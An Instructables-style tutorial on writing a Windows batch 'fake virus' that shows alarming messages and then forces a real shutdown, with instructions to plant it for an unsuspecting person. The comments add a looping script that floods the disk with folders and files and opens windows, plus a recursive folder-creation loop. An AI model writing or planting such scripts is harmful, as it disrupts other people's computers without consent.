How to Make a Fake Virus With a Batch File

In this Instructable I will be showing you how to make a batch file, that should fool your friends into thinking that their computer has a virus. It will look something like the above image when it's running. At the end of the program a message will pop up that says "Your computer has committed suicide. Good-bye". Then the computer will shutdown. To cancel the shutdown procces type "shutdown /a" into command prompt and press enter.

Step 1: Open Notepad

Open the typing program notepad on your computer. You'll use notepad to make the batch file.

Step 2: Write the Program

If you have experience writing batch files feel free to modify and improve the below code, If you don't have experience than simply copy and paste the code into notepad. Save the file as a ".bat" file, such as "Virus.bat".








@echo off

title Cyber Attack Sequence Initiation
color 02
echo Warning-Complete File Corruption imminent.
timeout /t 3 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 10
timeout /t 1 /nobreak >nul
ClS
echo Complete file corruption and computer shutdown in 9
timeout /t 1 /nobreak >nul
ClS
echo Complete file corruption and computer shutdown in 8
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 7
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 6
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 5
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 4
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 3
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 2
timeout /t 1 /nobreak >nul
CLS
echo Complete file corruption and computer shutdown in 1
timeout /t 1 /nobreak >nul
CLS
echo File corruption and computer shutdown initiated
timeout /t 3 /nobreak >nul
CLS
echo Corrupting Critical System Files...
echo del* *
timeout /t 2 /nobreak >nul
echo The System cannot find the file specified.
echo:
echo:
echo:
echo:
echo:
echo Corrupting Root Partition...
echo del C:\Windows
timeout /t 2 /nobreak >nul
echo Deletion Successful!
echo:
echo:
echo:
echo:
echo:
echo:
echo:
echo Disabling Windows Firewall...
echo Killing all processes...
timeout /t 2 /nobreak >nul
echo Allowing virus to boot from startup...
timeout /t 2 /nobreak >nul
echo:
echo:
echo:
echo:
echo:
echo Virus has been executed successfully!
echo:
echo:
echo Have Fun!
timeout /t 2 /nobreak >nul

shutdown -s -t 45 /c  Your computer has committed suicide. Have a nice day.






Step 3: Congratulations!

The program is ready to freak out the unfortunate person that happens to open it. Just plant it somewhere that you know a person will stumble on it, and wait.

2 People Made This Project!

Recommendations

  • PCB Contest

    PCB Contest
  • Big and Small Contest

    Big and Small Contest
  • Toys Contest

    Toys Contest

34 Discussions

0
None
LambertM

5 months ago

I got a win.bat file on my desktop, put there and I do not know what it does. How to find out if it is a threat? How do I find out what it does?

REAL VIRUS!!! but weak

Hello guys I have here small fork bomb its not extremly dangerous ist the weakest one so you can try on your virtual machines or you can try this script on your friends as prank!

Here is code:

@echo off
cd C:\
mkdir Desktop
cd C:\Desktop
mkdir Programsfiles64
cd C:\Desktop\Programsfiles64
mkdir Windows32
cd C:\Desktop\Programsfiles64\
:MojZivotMaZmysel
cd C:\
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color C0
start color a0
start color C0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color C0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color a0
start color C0
start color a0
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"

echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"

echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"

echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"
echo.>"c:\Desktop\KILLLOG%random%.txt"

echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\KILLLOG%random%.txt"

echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
echo.>"c:\Desktop\Programsfiles64\Windows32\KILLLOG%random%.txt"
TIMEOUT -T 1
goto :MojZivotMaZmysel

For delete all this mess you must go to Windows (C:) and from there delete fake Desktop file !!

That is all from my side :D Bye and have nice day :´)

1 reply
0
None
Gamerd5

1 year ago

do we have 45 sec before shutdown? i read the bottom and saw -t 45 so i guess we have 45 sec to write shutdown -a

1 reply
0
None
you knowwGamerd5

Reply 5 months ago

if u just wanna try this fake virus then after executing the virus.bat and u get the 45sec and after making sure that it works just edit the virus.bat and add at the end 'shutdown -a' and save and lounch the virus again and ur shutdown will be cancelled

0
None
BuurmanM

6 months ago

can you please make a file that duplicate

0
None
1497980

1 year ago

i dont get any of this could you make a simpler version for a 7th grader perhaps ??!

2 replies
0
None
EdgarR691497980

Reply 1 year ago

Its already simple but ill try to help you figure it out. Assuming you have windows type cmd in the run bar to open a Command Promt. This is where you run text commands (instruction that your machine understands). Behind the scenes everything you do on Windows with mouse clicks is just text commands running behind a GUI(Graphical User Interface). Once in "CMD" to get a list of all commands and what they do, type "help" and press Enter. You can also Goggle CMD commands for more detailed information. A batch file(.bat) is just a type of file extension that when ever double clicked will run what ever commands are inside. To make one, just open a text editor, type commands, and save as "SomeName.bat". Now for a short over simplified explanation of the code above... Echo off is just to hide commands, try in cmd and you will no longer see what directory your in after typing any command. Next a location is picked for where the files should be made. mkdir is the command to make a new directory(folder) followed by a location on the drive where it will be made. Some more code to make folders with in folders is put in a Loop(process that repeats steps over and over). Then pause>nul is there as a safety net in case any curious person is unfortunate enough to run this code, it will stop the loop and prevent the code from automatically drowning your system in directories. Hope that helps

0
None
Poseidon31497980

Reply 1 year ago

Just do: shutdown -s
And if you want to do more, just do shutdown /? in the command prompt.

0
None
scotts88

1 year ago

how would you make it kill all processes except cmd

0
None
MuhdF22

1 year ago

Can I make folders that contain a folder that contain more folders that contain folder and so on? Just like bombing.

1 reply
0
None
Poseidon3MuhdF22

Reply 1 year ago

Sure.

@Echo Off

:Variables

set Location=\File

set Start=C:\Users\%Username%\Desktop\Start

Rem Making Dir..

mkdir C:\Users\%Username%\Desktop\Start

:Loop

set Path=%Start%

mkdir %Start%%Location%

set Start=%Start%%Location%

pause>nul

goto Loop

Remove the "pause>nul" to make it automatic. But I warn you, don't do this to your own computer.

0
None
ZahranZ

2 years ago

HERE REALLY VIRUSES (NOT FAKE VIRUS) Note:This will crash your computer if you not using virtualbox or vmware

What the viruses

You system paused at startup

CODE:

@echo Delete virus pc now?
pause
tree
@echo Deleting done
pause
@echo The system detector was incorrupted. Continue?
pause
dir
@echo Detected 2 Viruses. Delete now?
pause
tree
@echo ACCES DENIED
@echo ACCES DENIED
@echo ACCES DENIED
pause
@echo System was crash. Would you shutdown your computer?
shutdown
end

3 replies
0
None
AidilA8ZahranZ

Reply 2 years ago

its real???

how to recover from the crash!?

0
None
RAGE2SageAidilA8

Reply 1 year ago

just hold power button and restart

0
None
ZahranZAidilA8

Reply 2 years ago

I can't recover the crashes use virtualbox for crate or launch the virus

0
None
VedangT

2 years ago

Cool